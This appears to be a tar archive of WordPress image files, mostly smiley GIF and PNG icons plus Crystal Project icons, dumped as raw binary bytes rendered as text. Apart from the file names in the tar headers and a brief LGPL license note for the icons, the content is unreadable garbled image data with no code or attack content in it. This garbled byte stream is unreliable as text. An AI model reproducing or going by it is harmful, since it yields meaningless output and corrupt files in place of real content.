���Xn�J�hA	 �W�mU!�)%���$��3�u�8��I;smilies/icon_wink.gif000064400000000250151024353260010656 0ustar00GIF89a���EEE�������������������!�,@U�Ij��ͷX�0��u�0R�@��P��� �&�e~v�Q`��A*�BSVl���H�P����>�Y	
�E@X�|�j�b�ē;smilies/icon_mrgreen.gif000064400000000534151024353260011352 0ustar00GIF89a�'|d�����������ܱگخ֬ҩΦʢȡƟĞ���������������������}�|�y�r�o�l�i~ex`!�',@y��Ph*�đ)X2�&��d�0�Ô8�Sb�d,z:a��B�4�� l
�����Dn2�&iCwHHEn
G�EEsT 	�&"PP
E�OO{cE�&��#"! �'A;smilies/icon_exclaim.gif000064400000000354151024353260011335 0ustar00GIF89a���EEE����������������u�������ŵ///���qoWrpX��JG)��mkS��SO&��!�,@i`'�AY�$������P]p�\�0�@��`8~������%����1Y
|(�	.)9���v�gm�J\(���sT�3X0,
zWA
�r#%�{#!;smilies/icon_cry.gif000064400000000634151024353260010511 0ustar00GIF89a�������������^^^����������EEE������!�NETSCAPE2.0!�,@UH�j���{z�,D�HH!H⺈�RJsh[��Qn��'�@}�D
C�̘��b�z2$J&��<���*�7���0t
��?“!�,
���7��G!�
,��!�
,���P!�
,��+�]!�
,	��!b!�
,��!�
,���P!�
,	�/���;smilies/icon_twisted.gif000064400000000361151024353260011374 0ustar00GIF89a��m����������������������*���333���EEE!�,@n E�h��Y� ��P%���P��KF)��(�XA@�\��lTz]>�$���"��А%�+!���'Z0�[E;0}\A��FH%�w(!;smilies/rolleyes.png000064400000002321151024353260010554 0ustar00�PNG


IHDRHHb3CuePLTE�����M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��MfEgFhHiHkIkJpMpNsQ|X�]�e$�h.�i2�b�d�e�g�k�m�o�q��^�{)��&��&��'��(��)��+��-�����.Ŝ8şEƚ0ʝ2͠4Ϣ5֧8ש9٫:ګ:۬;ݮ<߯=�>�?�B�D�E�E�E�F��H����������������I����������J�����K�ߘ��K��n��M��X��Y��Z��`��a��b��M��R�"0tRNS-/3>H^cf��������������� y���IDATX�͘��0DZ+7c7cq��mN�N��y�SV��y!Ey��
�-I��
������[�&O�$pD�A��PB��%�R1��!���Rc��������Hj�ZLE@��(�	
f�C٠�:��Z�T/P��T���e�r��̂��
43B��a�A")L�,+��ɜ~���O���q'(L|�a��������4H%�Ϡe���k�j���������=(�h��썳7*�6>�$r�	
��bh޷^1U�����-X
 b�v��^ӿ�>9�f0���z�U+����|<��("�Oי���1� ?7E���֝��`>A>DlP�5���F ���C��d}���Ͽ�~`>�q�ŀ
��C���芘	J��p5�>@zR���ͺ���z��U���|)d�x�}���0@]�:�:n>�f�24h29-��n>@���.���>�
P�Y�Ľ[/�h�J�����Fg��{��f��㻀��}4A�x/[TE��V�= ŕaOqi�I;��22�B��&.��ѥV\iv�W��	�^��RX)Β-�g!�o[��Ey�w���p�����w���P[�1s�T�׶��1��g�?e�W����Uc�r���u��s�V�ۘ�vKu߰�㵣Z�ל�Vس���7�Ob�c篿v>X���$�y��ٺ��y�ƽ�?|75��,i��OI9����Xb��F�&�Aޑ��C��>��:��N���Lj�*K?IEND�B`�smilies/simple-smile.png000064400000001760151024353260011324 0ustar00�PNG


IHDRHHb3CuPLTE�����M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��MfEgFhGiHjHkImKwTwT	zV
zW
}Z�\
�^�^�a�g�h�i�n�t�v�v�x�y�~!�!��"��$��'��'��*ɜ2͠4Ϣ5У5Ѥ6Ҥ6Ԧ7Ԧ8ש9ت9٫:ګ:ڬ;۬;�=�>�?�?�C�E�E�G��H��H��L��L��M��M��ptRNS-/3>H^cf��������������� y��oIDATX�͘g{�0�]ǘ��,����f�d5]i����?���$�-���	���ӝ�w���4ݴl��u�ul��џ���\��Rΐe�
��(f$D�
�P�
�Re���3-��eQ�t����E�&�̇��i���c��Y�bv�/�%=�I犦A�O���YQ�G�L�"�
���hbbO�R���VjBT�ؔ�EYH@vLTI"��e�o��;�����m?�}	b��Hd�y�'l�X�aE9z���y�xn(*���xi �kIE5��LH*����"��l&>��T,69�>?�CD.�D$��<v+\ [�{DT��ԉ�V��Ѽ�"��ҸȂ��A����lZi,$�Hc"�M�ab�R�����?�Vy��J�˾��.Ls������8����=��?���'�8���[���^�4�{��������A"\�|3��0�ǎl��x�e����y�������0��>cE]ּ�!��e
Shw1M�8��bK��
�g�6���؝{��jVN��Q^y�r�=7n��>{�.������b𺺋���B��B�
��um���/�ORO����c��z�2m5�4^�(��Qx�j�?���j�@HY~�IEND�B`�smilies/icon_rolleyes.gif000064400000000727151024353260011555 0ustar00GIF89a�
���������EEE����������������!�NETSCAPE2.0!�

,@_�IYj�t���MaA�jBRIB�sr���f�&TG��J��R@pa(ܳ�3\҂���t~%+5V�L�N �$���L,
@�I�T�g!�
,v���N!�
,	�vy���!�2,�e	��`(!�,	
!�
,eAJ���!�,X
Z�JH	Ǽ������A�aT�!�,:#��	⼵�K��F$!�,H
J�0�!�X ��@P�vܦ%;smilies/icon_lol.gif000064400000000513151024353260010476 0ustar00GIF89a�
�������������EEE�����������!�NETSCAPE2.0!�
,@[�Iyj�t��;`Gs,C� !� I#JK[i5E��`$B�H$ ��P,6g�@X,X���B��8N�F� t0��e��0x��I��g�'!�,H:J�0�I�\���$!�
,�-�!�
,�
�!�
,�-�!�,�
�;smilies/icon_question.gif000064400000000367151024353260011566 0ustar00GIF89a��������������������u�����Ͼ����/+�����_W߰�ofEEE!�,@t�&�YY����!�PdZv�C%��I X��� $M�j)���UC��h���y�(���.=� ;ø-$	�Z�>9^L6,Z.0_a�
+L5D��|#%��#!;smilies/icon_smile.gif000064400000000255151024353260011024 0ustar00GIF89a����EEE�������������������333����!�,@Z�Ij��պ�D8��}�0R�@��`�� g#��)x�Fh4�dR@Pa(ڳb;TҀ� ;ҭ�
f%jX�v��3�ŀ3ÓJa_@O";smilies/icon_neutral.gif000064400000000247151024353260011366 0ustar00GIF89a���EEE�������������������!�,@T�Ij���;1B�
!5D�EJ)	�mp:�����`!(�b�-+���$H�bNT�q~����9BL�t��I�@7�';smilies/icon_biggrin.gif000064400000000255151024353260011334 0ustar00GIF89a�
������������������������EEE!�
,@Z�I�j�41�Ba0
�hB��ARQ�3q��$�j�&�j������P,8gE�@��ʼn軕v�!�p
����(�^6a��0��P�D;smilies/icon_confused.gif000064400000000252151024353260011516 0ustar00GIF89a���EEE�������������������!�,@W�Ij���;1Z�
!5D�EJ)	R.p:��/�P`��
C�Ș��z�O��6�!62��C30���;���$;smilies/icon_idea.gif000064400000000256151024353260010616 0ustar00GIF89a�
�������������������������EEE!�
,@[�I�j��-F[a0
�h��mIDQ2��Ԣ{S�@j���P*�0Z�%�)Cd6mǝPEn&��hD*�M����`L�7�';smilies/icon_sad.gif000064400000000247151024353260010463 0ustar00GIF89a���EEE�������������������!�,@T�Ij���;1B�	CH
�C�RJ�h[��x���P`�K��b�-+��!�$H&�Ld��6��d
�@X��m�j�@7�';smilies/frownie.png000064400000001757151024353260010403 0ustar00�PNG


IHDRHHb3CuPLTE�����M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��M��MfEgFhGiHjHkImKwTwT	zV
zW
}Z�\
�]�^�a�g�h�i�n�t�v�x�y�~!�!��"��$��'��*��*ɜ2͠4Ϣ5У5Ѥ6Ҥ6Ԧ7Ԧ8ש9ت9ګ:ڬ;۬;�=�>�?�?�C�E�E�G��H��H��L��L��M��M��tRNS-/3>H^cf��������������� y��tIDATX�͘Yc�@�)AT$��x-I5g����N��I����_R�h��A������'�3+}�$P$aȪnX��h:�e誌v�)�����)��B���*Q�1Ԋ	E�*L��K R�:0���L�됈z>^TjCBڥ�<�eL43\��D�dN�g�#E��M9JT��¢|;���gEJRQW����r���N. �Bj���"d�8!�e�Ƣ�c�u7.�c��wQ�i���
��+#����ۄ�
��-e(����I��Pd�
dHҸ��FVQC�"��@�"=�H�"#_D�T,Y�>?�EEv(~�LH,69�p�,,�PQ2Ӥ"�X��Ws����sc#�Y"���h�ёm���xnl��dz��r�����׳G���m�>/�;d�����vQN�H���ȲB�H��M��m�o?��Gz'��l�z@b8xE�&�y��,�}�yxzz��v��4���Ѵ&�h�?^���߲�&Z���o��7����}k=FS?i�r/���;��&��S��X2:���w� �YE��q¾��k�����&��JI**jĕY�
?�/E���uofb.�]i�dx�#�"*���v��yv��O|IEND�B`�smilies/icon_razz.gif000064400000000257151024353260010703 0ustar00GIF89a�333EEE����������������������!�,@\�Ij�5к߅8A�}�0R�PDP�J-
r6�Z�O�
a��l�
�	4�H�IA��뀇�Z	�*��7ml1`Kٸj��;smilies/mrgreen.png000064400000002716151024353260010365 0ustar00�PNG


IHDRHHb3Cu�PLTE���Q�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�rQ�r:$;%<%<&=&<&>'?'@(A(A)B)B)C* D+!F,!G-!H-"J.#K/#L/#M0$B-$N1%Q3&S4'U5(V6(W7)X8)Y8*[9+H3+^;,_<,`=,a=-b>.d?.f@0iB1M91jC1kD1lD2nE3pG3qG4rH5tJ6wK7xL7yL7yM8S?8zM9TA:Q;�S<WD<�T=�U=�U=�V?�X@ZG@�ZA�[A�[B�\C]KC�^D�_D�_D�`E�aF�aF�bF�cG�cH�eH�eIaPI�fI�fJ�hK�iK�jK�jL�jL�kL�kM�lN�mN�nO�oO�oO�pP�pP�pP�qQ�r\rch|nv�|����������������������������»����������������������������������������~��tRNS-/3>H^cf��������������� y��~IDATX�͘�_A�i�QnP7��$-ˣ���2�
�HK�R�J�ô<B���,CR��`w�afvم}��o��2;�<�(N�$�� ��t��ls�p9lf�>��
)�&'@�4i�A�\@Tn�ZHc�jD�T�@��2+$T�Q��a�d���H��@T&� �J����FQ9QEe�2�@:��t8(#/P^
R�AR�+PHR�x�*?YP�*dI��4 i �5���F��4�˯��s>�>_v�ꪏA9h�:��h�g7�w"v�H���;L<}=`��y��+9�M`?��� �%�E|-2� .�A�2��C|�����J��@:ҧ�3 #*�>"~�a;��1�56ލ,3��%3h���0P�M�[�o�lȁo��gi��e�_�������`@.�F��Fڠ�C�_	��$/ȕ:��cK������dΒ�~!���n=��EL��|x��.��^Hx�<;�f�uw��OSS\����O=�+�����7�E���2�[�mZ��i	
�e*lӱ�k�~!�q�g��4Z��R[
��E"��+Kc�����������~$��5
�R��XNo(r���p(@V�7U��8ja>��WD@�;���8��~���^?���W�1��	�5�OҽIDnvs5�#j"��Ƿ��bv�}Ǐ�HM���Aݼ����>8��l�.6C���m
�h��y�Fɍ�����~
h�&��6�q�'�#��5�^a�W�a�!n~�; <B((`����4�h�AƬ�z�~@Ę�~Þ�xJ�gX���N��B?���XUcT5��͉Ey����)�ñ��z��4�s� ߕ���,2^��x����v������PIEND�B`�smilies/icon_redface.gif000064400000001205151024353260011300 0ustar00GIF89a���{���˃��u�҇�sJ���[��i������������������EEE���l�H6�������������hh�__�������!�NETSCAPE2.0!�,@e  �RY�$E�2κJ��(o�L49��ߢG
$ ��dHj$8�1��$�I�p<<�D����,I�r�������R��{�%+`}.�W?�.BlX2CD!!�

,

Q�"*V�$�8��A��1��k+����.O;$\�[m�H��@�
�=T�Co.��P$@xEhO���JT��E!!�2,

H  �\��(�uW�ic	�4�3]�j�_�WOT�a2�G�R/�
F�f�@�������a��3�|n�Q��u-
!�

,

LPIR3c��T)^��RB�&�y+��I'��$� ��A8�%��0,(���:2���|,�7���pH�D!�
,

Q  A�4�8�ļ�2��k����&.O[4\�[mi<&���d,(��㺈D(�Eo^�"��P�@GDh����J��E!;smilies/icon_eek.gif000064400000000252151024353260010454 0ustar00GIF89a�
�����EEE��������������������!�
,@W�I9j�4�-z߁1LYi2EEǀ�I⁒j��Sc@�q�
3�,�M�B�P>>��=�R^��U���Q�
_�4�v���3;smilies/icon_surprised.gif000064400000000256151024353260011734 0ustar00GIF89a�
��EEE����������������������!�
,@[�Ij�4�-z��4�m�F�A^A,�(���ly
( #4
��R)��&��!�g@��p<��J��Pd�,����$��9��?�';smilies/icon_evil.gif000064400000000301151024353260010642 0ustar00GIF89a����������������������*�m���EEE��!�,@n��@�h��i� ��KN�$���P��a8F)F��0�X�C� \��l��\���B�D���P$>�ڱt<wݣ��a	z	-0�[];��\A:,FH%�z(!;smilies/icon_cool.gif000064400000000254151024353260010646 0ustar00GIF89a�
��EEE����������������������!�
,@Y�Ij���;1AZ�
!5D�EJ-	R2p:
�"0<�$M
C�Ș��z$.&Jy�ol�m���Q�����a*��a<�;arrow-pointer-blue-2x.png000064400000003202151024353260011334 0ustar00�PNG


IHDR<x��a:PLTELiq����������������������������������������������������������������������ݿ����������������������������꿿����������������������������������������������������������������������抿��������U������ꇿ������ԋ�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ގ�����������������������������~���tRNSI	�#��`�����������Cs�����(�G��9�����!�?�5�A����*�^��n O���2��q`����ʬ�r�b%������b�E��u�K;����
*����������t���3��ԫA������4����!��IDATX���US#A���$Hpw����;,�����}gB ����������{^��W��̹}�@�W�mm�UkG�1Ug;0Ƹ�C�m��c���m}-v����v��?���BK#vIc��nG��G�FX�P3�J����2�`�5mX6m5�v�	�4�d��01u�
M���z2:�B	�z��z�{�l=r=qm=^=�h==�n=�=�k=Ξ�7��ݞ��@��'�&��4Ho=
=�31n�;>�o�#�"�ympP�?ATP0'~W
����hRI���beI�Npb��iv�#�c)Ə�����9����.�'���\&��o���
rB����c��)ل�mގM�ېT	H����*�����l+&m@�`�� 6�,�"ʂI-4���׋AC��)\Y�8_���<�<1���g��
�93�ݚ�v��Θ�mT�;�����<³�wm|J6�a�N�w`�ȋ�Y��!E�b����۷�oM�!�,�� Y�bM_[����
��:a܋�D�멭��|hڻa�mi�-����{?�57,ݛ
���wmkB�9>���*�i�C(wUn}\���meFh�sY_�[���]/(����Hӥ�y���:���u$�L�8��-J��*���O����A�!���;?�\v�9�n��G����쌙ǚc�]�"�{�n���-��g��%��r�f(�
͐�f�o?�V��s��ڽct)VG����V����Oa퓍fm���Nx�6�l#&���W��*�*�a�lO�b�9��bAF��L3Txt��M7�2��k�=6ѝ̐���uۂ���y&ۓ�.xx��o.�?�����,�#��Sv<���?�o:��m�W3х�'%ijF�y �X�|v� m�ۉ=�aIEND�B`�icon-pointer-flag-2x.png000064400000002531151024353260011120 0ustar00�PNG


IHDRHJ%L IDATx��Mhe��T�AD�I�PBOB��J
EĪЋ����x� �X�P�K�B�5���|���w���ɚ%�lI���<>��L��&��μ;���l63�<�̼��!fu��3<<����`k__߯===C]]]I���3���^����sp.�����K���?��#���X,Ƴ�����ʩT�
�0U(���q��98e�,���IG���E������h��D�<�
�@Y(e�ԅ:u0�y�~�����i���b�A�u�n��Ec��%/A��/���X5�u#Ă�����w�1]Cp���
b@,�	���yFڀߤ�䝝��	�!FĪ���,�ormm��bD���T ]���bË�ms>;�}���#r�B����,b�+�9 ���fff�GGG�;��8v%IA�'&&�%��n��<r�����E��	�!�3�sDh�
rC�g'I��`{{��rD��N�]__砀\��'�ro&9` g�~�����
��+�����g8� wxp�Aw\�yKD��Z�;<8�[_\\����JT�s�+�������xQΠ�X�A�$�q��2¾M�$�8��d�SQ�Ճ��h����t:]�A��nV�����9�w��y� �AԦz2;::�J6��e�M�l�b����#獍�m
�>�X����Y�&A�T�	�!Y��@�����!^���A%#�vv	xC2���� [E_��~�i��'�+��UoH�E�
�<L��g����
:/����!�{d}jPc�s:xC����C�^%�F�
�y��ˢW���
�%!�C�:tΚ���%�F�I�P�9��:K�d�/�!�>��uхc��;�?]��O���ތ��� ��)Z<�'Y͏(1H?��G0P�)4�<�S�[�A�7����zhPy�����f�-B�� coE���
zb��@C��677[�F0�
zL�����hh�#��"�e_�=^P)�g�9�)xAe����A7Hz�o�8VVV�spL�T�Ćd��V[9� w��=�Np�H��S��l�*�L�`>rڨJ�`?m���r��`���l�1�#�z��͝��Cn�����9���cr<=��
ȅ܀�?�v�!r��,�G�lsT���I�!�b&�`]��db�z��o���{�!6��cn-�ן�Ky
fn��K�z�Vݍ�q��n(�XS̪�[ɸ�E͢v��u�UV3�v;~|Q�WE7E��D��Y�KX�k����sU��$YI�Ug���EIEND�B`�crystal/license.txt000064400000000225151024353260010410 0ustar00Crystal Project Icons
by Everaldo Coelho
http://everaldo.com

Released under LGPL

Modified February 2008
for WordPress
https://wordpress.orgcrystal/code.png000064400000003104151024353260007644 0ustar00�PNG


IHDR.<.yx��PLTE�������������������������������������������������������������������궶������������������Ը���������£���������������������������ش�������ϴ����������������ѳ����������������綶������������ϼ�������ؼ����Ҩ����������������Ơ����������ʣ�������������Ѿ����ڱ�����������������������߽�������������ɪ�������������·�������ʦ����������ժ����������鮮���������֯�������Π����꯯���������񤤥��������컻������ݾ����ͻ�����������������ĩ�������宮���������ۧ����צ��o3�k(IDATx^��c��Z���F�۶}h۸�m��ޝ�	�3sz��O]O�Z��t���;"�;���ۻ�gg�c'�@q�g�<��x�h0�Q0�  #@�i�'X2%��B' '��X�'\~R/�������o�5@8�s8}2�\��X���������4}�ol�����!C~���[�s�/v���g'����p�{3�̯�<�?������g8�ݗsf�A�_������G���AL��Ռ�)M;��c�,a
�8���d7R�t�}-`�6ǹ�d�y6=�7���O�i���6ӟbH�B�d񇕂SOj���A���ӏi���q���������[�C<��	�b��z�;�u|����U��.5�g|�lu=�1����b�����{�T7jD���|AF<�����d�~�ż���x��7ߝI�~���L�>�C^}%�}��S��=���8���r�	[q�j����Q�O��0��F���G�S�|���ˋ���/�������\ǵ>��˽��J��~�t������}���x��U�ZS�����(���	V;9�U��s���\��,�ćg4�_"=�;)��+U4$Q��n/܅�,tW+�$�y2���0<0��!��DѴT�N�R���Y�OVe�>�a�V�B\�ܰ$�+��z�H5{�8�(R���kA_y����=�ݶ8�t�������ƹ}QԷ.��7�0뛓�V.��}�$���tv^Δp�z{Z���;��O&�&5{�Ue6o�RV��*�{pf����A�O�=����g�f�Z���5h�] #��
���n���ӧ\��>�
���G<�8与�w/Y:�^��j�?������}x�G�x�no�m-��������u�Kw�����Nu��Ҽ?��������{;�@��L�G\7�s�Ši��Q���A<��nu>\�i���#���:��G��qˆ���_.O��k��N3t<��c}�����G<�a�Mg���a/A�0Z��.�	hE��a@�F�(���|%���-��)�.�|�IEND�B`�crystal/document.png000064400000004017151024353260010554 0ustar00�PNG


IHDR.<.yx��PLTE���������������������������������������������������������췷������������ϵ�������������������������������������������������������������߻����4�����r��������칹����������Tu�78������������n��/i���n�����{��|����r��6bx�Gi�=���,������������B������o�����r��aw�&:\=]����h~�������€��:X������x��Lf�$Pq}�]l�1>W?G_�Yn�G^q�:F\opw?cTDUIA���U]v�����������뼼�)`���{�����w��&ee�����2D`,6R}f��^z�\u�+Y*3B��������Wl�
Cg{�Ro�<U|z��4X>FSIO]_~�!>ahyl�����Ek�������Mj�:@a�*N:Nx%+>KJ@J;1IA9WZg)ETX`6?Oehkm[H������.1^����狋���� Y���<LjZq�������u��8u��˱�ߵ�Wk����jv���о��/Dh���@]��������ꎻ�{y����go�v�̏��GYp���_~�,@a���_l����~��IKG������9_���ą�������ʨ�͕�����I[���ؼ��8Du6Z�HNo9=7/24u�ohj;=D[]a���*1E+7Q�f�IDATHǍ�uXI�$�7�PB6��@ !�I��R�)��W�zu��.��~=www�{:�dI�@�ϻ3�}���b�M�E7�D���d�HDM�9J���(��� 2��"��%��ϓ\�R���q=�s�Q/�0�N��4M���	�̋i.�2���ko���Q;�z��г���i8208��(.��9��___
��-�~.�|Ƚ�$S��E��)
s�xq�/גJ��8������M�Mfu1&��~�GP��`/W�̡T�TZ[���<���q�3O;�,��=��r�}g�p��	��q��焏��R����ʅ��Ra�s�Í������L�.,̋\h�Ȼ�Ƒ���F���L&��ST��\�Բ ���WM�a�
ͳ��ҍa���мȈ��";J�t����\�*e�ׇ����f�-�|�\P`���@( ��KA�n��S�4��T����h�%�2b���R����~�t�o3�[�k_mN�[����EOo��ظ�����7���O���}�򓬦�m�<ױ�ɢ��A�w�~)�������/�mٷ-�!+{ú���+��J�p��+�����j9��z,:��}ee���/K}�1���6P*��6��糴S�;1:��~]r��PaH-y@�����9
D��T���G;���訉>����蚚D��ް�?dt�T�+o�\���7���v���0�~ebyŃW	�!��q�W_mm��g`��.�8�aIteby�%���z��B��_�{nϿ��/_�9y�s���]��qc�����ptYOl�>���]m��m�Vw��tGRR�V.ex�P�ӕ���A�ߞs��dU�˙mI�GcΑ��23ccb������>�_���{hr%����=������Е+gϝ:���M��Ź����2�L
"�����~ڟ��™�8�	<��k=�ˈ�x��
䥤\��Ƿq����>��^V<�nл�C��
�:���9�d=���=_�9�4s�	<����s�z��h��u:���)��9��9����i�P�!�~��2���M�_�c�H
5Pk?��/Y?�ֆ+&�_Ĺh��3t8�N/���!�d{x8�Y�ag�'7�3O��O�_�;�R'��'�]ܙ^.��Z������1G�-�7e?`�	_��Xj�5. �L�5�9[n����IEND�B`�crystal/video.png000064400000002473151024353260010050 0ustar00�PNG


IHDR.<<��{IDATx^��]lU���ٝ�hw�]��B
(Qb@c4>����BP!��(!M[@E@�cHT@A@���o�0A�H#�)������;;��Y��d��{�����3t58j�y"7��-nvr�Hش@@-��D�6R����?7n�dv�d��ѰWJ�b��.b���Ԕ�d03P�ė͈F"
��޺��/G@D�
"�e�l�&�Í?K>kwr�g
�fx�򑔐��!�J�e`9k�a���5!���l��X�^p��3Y�;�a�E�m˖�O�%�lH:��ʟ�+����`v(g��J1�u�ض-w^E4QWO�tw���p���<��C�������rsi�e��>�ÀH�w��")��~XyI�R�{e�a���~'j�F6K����Ҽ79�D��_�!�3<o�
d�9&�e��{�I�M���O�aK�MA9����8"{��'B����ݝF<gl�R�P��`�R��2J�"-0��\:qhh=�Q����E6S�n�ɣeh"U�����!�E1�����.\է�!�N.?��D*��J��@;̨i�f��1��8�?�<J'S���F�aNu�v���^w�i'g~�*�2������i��i˧2d��� R�J	d;`�-��ۀ���$qƶ�D��D�W�AnEn"EĊH�����x�*'�-�=
��S��Ѱ[x���	�Q�Q��&����X��Ԕր�\ƉQ�c�i�6�1iT�*��r,�o׽<�1Nz��WJ���m�O�!�T֭�T7C���moLWg�`xZIWm�;�)i��g�%T�<�a�Kk���b0��"�9m˧5?�w��;�vVB�᝶��י�kD|<��l��DS"\}�|U��W�؜��n�e�C$�Zۢ�Z5�w	�Ӓ��V,f�����$�+$4�C�A���֞v*Ӡm
� �ﭟ��3$Z&�������ݓw|��B�q$
S�-�/�Ύ�v��� ���-����+�o
ˌh^7}~���z����+WY�D��ŦW{�,o�k���
��C��/�ʔD+�]���`u�~}�ƽ�7�����$��u�e��뽮x�_� m�3|��xwϠ
o�B����F��Kz�u�>�.���������A��*�<C��?�+<����9�C��P�ٙ�.�t�/$�%��~!��0K<���Ӄx%K��� ��{��б_]r��V�9�
��"aK�IEND�B`�crystal/archive.png000064400000004626151024353260010365 0ustar00�PNG


IHDR.<.yx��PLTE�������������������������������������̷�����������������������׵�������F��]��_������������Ƥb�����٫�L��J��������α�N��Y��B�����Դ�R��W��?�z:�l.�����p1�������Ͽ�Z������HʨhЮl߻y��ʲ�P��Z�|<�r4��X���ɦd��E��M�~>سs۸x������������v7��Sͪi���Ӱo���������v��T�s5�r+��������~>�{;��V��@��C�x8�����������������΁��Йx2����{ܷr��쳓Q��M�������ѱϰr���åi�����ё���������ц�����Ѯ�J�~6��?��qپ��r1�ĥ��ޚ�r����i*_�i$����Ȕ�t2���ġ_�ќ������ơ\�ͅ�zճy���ܘ�ʅ�r�؏׭c��~Խy�ˍݼo�ˬ������yZ���ītְo�d ����˲|����м�՘��`�ݿ���۽�׸s���ӭk�����|��~ݷi��zհh���Ѧ\ʝU��{ĕM�zE�tK���sY)����مtW�f2�nI������Ͽ�Ĵ��n%�׷��\ػ��͚�Ԧ�Ćαl�ć̶w�޴�۹�ˍ����ш�Ǜ͢Z��~�vѩb�}=��˟�g��f����w3��Džxcs\4rS¸��nB����������ٮ������ҩmR��ZIDATHǍ�wTSW� <H&%��4�AE%���JEd%2EEQ@DDEp�܊{ֽW�u�ݽ[;��ラ���~y�r�����h�G����|�S]F�Y3�L*t�	S4��-,�L[;�	>>>s��4������f�!ff��tcn���֋y�����^�@|�\S�&�ȶ�zO�b�oKz3�[��ƀ��`�[����3�x�l��[|��8����@g~�'9�����8M���0oj���{M�aھ㡀Ħ���y7�KS�Us�s'O��[5�~Oq�~��dNN�J�6.n2Je�T�Ak2�q�3�2-ls�e*Ut��#�����B�6��K��3k0��i^���.G%��T{�zr�{]O����8-��di�Qr�r|����g�/��#�NNN��O?}p�����׷��9{����G��<�:.zjyyllel�g���<�\����cj�z�ɎSk�mi)=գ>�Vwt��W>�#���2�qe�V���b߾��k�'�޼<��L׉��6�:��*?�y��
��GP�5J�V�r��/��h|��ީ���ϝ;�j���͞����#��\.O^9���lwי�����uV埫��|���l{��p?�wrx��h�9�������`���]��ۯpp��9bQ�H�"����, *`ݔu�^\�w���P�xό�j�z��yl��uhuh�����Q�G����	ٍ�###�WUtF�Ad䡔`�k�k���7�RfW�\#�Yt4)��ζ��ȴćA�M��%�5xs3�b�x����ݝ��O�Gi	JI��w�����2i��LO���E�			��w�'��*� ..p�	��Tix$�8��E~�
?*��ӧ+���+�a�8v�L��!#~o
y����9��:B�|}���p_�Q&��F�\,޳כ:��sv�֗˅_'���
�H".�6�fr�ܱd��Q�Xυb�S\$8#33��-##�
���d#^�-~�q†ExxxL���D��&=�J���m.�Ɖw��		IO�KHD�g��$��Y�$��d�|�e���{�'��9_JHg,$��b\VV�820�L7�.�:��)tܸOPB���T�z�&��!��op�+44ԫ�6%5��%b�qg��,X��fHf�p/CBko/����D���A���ͅš�}����l��_��o��R)��,��wiS݅��t�
�ޱt����{��~�Ep�|]_wqxj!�gCCò�[._�|ekQ��� �A�n�b�lT"'�T�o�xmYj��-?_��ݕ�"��(�
a�|>��PQ�����~�q�79�1����B%p6���M�TP�w���Y�a�8��1��@��A��_��d��#&�B'�@����t�t5Զ�u�/(`��pgc�$����Đ��� 9�zc0��"୘�h	�
P�1�
·>p�y�66VVd��N����`��[a�(8�yV66��)K��)�p��%"y��\��Ꟃ֖H�w����9����R5Fۂ
݌�
G�m����
�1|m8"�D*х��g���Zs�G�M��Y�h.KʛsIEND�B`�crystal/text.png000064400000001236151024353260007722 0ustar00�PNG


IHDR.<<��{eIDATHǍ�ݎ�0��q#������@���H�B�-\,M���Ž3v�.��4�h|�;3N�oG�a��@�v�ǯ��!i���nb�����%M�$ɦ..cȨ.�;�D�����ï��50�B��G�։Q;��'+p.T��M�Y;z穔|�0#h֎�0�K|οO�$10�!^�`^@B�_`b�kh���%�䛲P$��J���<��/���2�q,�^��_����
��_/��YX3>�iG������R��*�R2���
��, c�˵���]�ڎ�쪲vd�n���-՛A�.���A���@�y�}��lji�Z\d1*��Z%�7_H^o�G
R:]��}��j�Wէ�����͕B��]�8T��}(s�΁kvF��{��4\|1MO���ɸ�'��n�������ϩ2����k�x�����<�!֮{Y_��y;����8��vk�)w���T� �������7p�U�/�iZ޻�Gr���ޖ
�3�_6��x(i?ME���dBY�X�U��ܑ���n�����x.�n��a��_y�m���÷�ū�I���w�ed�J�V���]x~^Mi�R=ƌн�PR�έC���<��<��IEND�B`�crystal/spreadsheet.png000064400000004550151024353260011247 0ustar00�PNG


IHDR.<.yx��PLTE������������������������������������������������������������������������鵵���������������Ⱥ����Ի����⿿������������������Ŵ������C��������������L���������T2��O�$[�-����
��a�3X�(�rr����;����JL�������4��,��,,�>>�II�AC�aaz���X�1����+���0�BB�m�����-����
�c�qk�_�O�		�

�!!�66͎�S�$i�:�RR�
	����ij>j;�����JM��YY�))��!�jj�ST�66+���-mi'a�-һ)�#k�
a�RMx
��zzwu+:�%I�.�~~�(4^2�W6��"	X�A ���ٓ��:��$�Z:�E�r+i<}f[�i'��ޅ�N����p���xWE��—��tt�##X�BF�:E�;~�o�����Ҭ���ݢ����{������΀���������Μā���n�G*��kk-[*�?<�99C�!�YY����x�R�.5�,��,��-�&*�U_"�64��$�~�3�'��&�����iج%���JSmأLOnOJ,QZS���r
�K� �r�^G�aB�Qց>��:�>��9�3����8�++��E~I*�z%��
&IDATHǍ�TYP`�a���p@�BFP6˪QSԘ�{�ɦl�n�M��d�ۦ�޷��{�������l��ϙ�^�����5MQO*���^���4i�ń6͠7[��Ic6��z��`0�Ah�Z�hA�z��j�PK:L�u�s��Y�6��^�7;������Q�Cހ���<�G��Ñ�v�A��:�&��0��@VHŐ'Z�|�B�B�/?
��V����@�"I��$Ѓ��r$ɦ{�3H��*�Ze�f��R�&��$��Az�Cf��7�t��Y)��,���P��Ch��7��Q������B}�ہ���"�QI��
